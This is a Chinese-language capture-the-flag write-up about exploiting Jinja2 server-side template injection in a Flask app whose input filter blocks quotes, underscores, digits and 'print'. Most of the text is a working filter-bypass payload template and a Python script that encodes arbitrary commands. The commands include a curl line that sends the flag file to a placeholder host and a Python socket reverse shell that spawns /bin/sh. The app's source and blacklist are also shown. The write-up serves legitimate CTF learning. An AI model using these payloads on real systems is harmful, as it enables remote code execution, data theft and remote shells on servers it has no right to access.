Werkzeug/1.0.1Python/3.8.7
不搞看源码 EXP了,哈哈
看别人说好像过滤了 print ,翻了一下手册,好像没有替代函数了。
尝试通过反弹 shell 的方式直接获取吧~
先试试执行 curl 命令回显
参考 yu22x 师傅写的模板和脚本(因为使用过程中发现有bug, system -> sBstem,即当 ascii 码是三位数时,前两位大于 11 会出现这种情况,所以修改了一下),又因 eval 对于执行多行代码不方便,因为换成 exec 函数,这里直接写成脚本,不用复制来复制去。。模板如下
/?name={% set c=(t|count)%}{% set cc=(dict(e=a)|join|count)%}{% set ccc=(dict(ee=a)|join|count)%}{% set cccc=(dict(eee=a)|join|count)%}{% set ccccc=(dict(eeee=a)|join|count)%}{% set cccccc=(dict(eeeee=a)|join|count)%}{% set ccccccc=(dict(eeeeee=a)|join|count)%}{% set cccccccc=(dict(eeeeeee=a)|join|count)%}{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}{% set a=(()|select|string|list).pop((ccc~ccccc)|int)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set cmd=%}{%if x.eval(cmd)%}{%endif%}
PS 这里的 {% if %}{% endif %} 不能没有哈,因为是控制定界符,不能直接运行语句,否则后端会报错,或者换成其他语句和函数包裹住也行。不能单单 x.eval(cmd)
脚本如下,只要替换 url 和 cmd 即可
import requestsurl = "http://44d624d7-7c45-4e23-9f39-d6d1c62589ec.challenge.ctf.show:8080"cmd = 'import os;os.system("curl http://xxx:2233/`cat /flag`")'def trans_to_placeholder(int_str):int_placeholder = list(map(lambda x: (int(x) + 1) * 'c', int_str))return '(' + '~'.join(int_placeholder) + ')|int'def c_chr(s):placeholder_list = ['chr(' + trans_to_placeholder(str(ord(c))) + ')' for c in s]return '~'.join(placeholder_list)payload = """/?name={% set c=(t|count)%}{% set cc=(dict(e=a)|join|count)%}{% set ccc=(dict(ee=a)|join|count)%}{% set cccc=(dict(eee=a)|join|count)%}{% set ccccc=(dict(eeee=a)|join|count)%}{% set cccccc=(dict(eeeee=a)|join|count)%}{% set ccccccc=(dict(eeeeee=a)|join|count)%}{% set cccccccc=(dict(eeeeeee=a)|join|count)%}{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}{% set coun=(ccc~ccccc)|int%}{% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(coun)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set cmd=""" + c_chr(cmd) + """ %}{%if x.exec(cmd)%}{%endif%}"""print(url + payload)# 请求req = requests.get(url + payload)print(req.text)
运行一下脚本即可
当然细心的同学发现 flag 少了 { 和 } ,应该 HTTP 协议把 { 和 } 给搞掉了,最好编码一下在传输。
比如 cmd 换成
cmd = 'import os;os.system("curl http://xxx:2233/`cat /flag|base64`")'

解释一下这里的数字问题(即上面模板的前面 10 行 c),比如命令中特殊字符较多,或者它的 ascii 码比较大(system 中的 y),下面这样肯定不够优雅(需要把用到的数字都写出来。。):
{% set cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}{% set cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
所以可以考虑字符拼接,比如 60 可以转换为 int('6' + '0')
{% set ccccccc=(dict(eeeeee=a)|join|count)%}{% set c=(t|count)%}{% set coun=(ccccccc~c)|int%}{{coun}}
这样可以输出 60 ,所以只要把 0-9 列出,就可以拼接任意数字啦~
试试反弹 shell (cmd 换成下面即可,换下 IP 和 端口 (下面写了 2233,随意换)
cmd = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP地址",2233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

用原生的不关系统环境依赖,比较舒服,2333
当然还要白嫖一波源码
from flask import Flaskfrom flask import requestfrom flask import render_template_stringfrom flask import sessionimport reapp = Flask(__name__)@app.route('/')def app_index():name = request.args.get('name')if name:if re.search(r"\'|\"|args|\[|\_|os|\{\{|request|[0-9]|print",name,re.I):return ':('template = '''{%% block body %%}<div class="center-content error"><h1>Hello</h1><h3>%s</h3></div>{%% endblock %%}''' % (request.args.get('name'))return render_template_string(template)if __name__=="__main__":app.run(host='0.0.0.0',port=80)
果然是过滤了 print
